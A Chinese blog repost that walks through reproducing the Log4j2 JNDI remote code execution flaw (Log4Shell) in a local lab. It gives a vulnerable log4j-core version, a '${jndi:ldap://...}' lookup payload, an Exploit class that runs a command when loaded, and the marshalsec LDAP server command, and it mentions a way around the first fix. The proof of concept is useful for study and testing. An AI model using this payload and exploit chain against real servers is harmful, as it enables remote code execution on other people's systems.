手把手复现了 Log4j2 漏洞，太可怕了。。

关注Java核心技术，推送更多 Java 干货！

来源：blog.csdn.net/qq_40989258/article/details/121862363

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
    public static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:ldap://localhost:8888/Exploit}");
    }
}

class Exploit {
    static {
        System.err.println("Pwned");
        try {
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}
javac exp.java

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit" 8888

结合一些其它 StrLookup 适当变形，以及配合官方测试用例中脏数据"?Type=A Type&Name=1100110&Char=!"可绕过rc1，RC2版本对此异常进行了捕获。Spring Boot 学习笔记分享给你。

最近好文分享

---

更多请关注 • Java核心技术

一个分享Java核心技术干货的公众号

点击阅读原文获取面试题～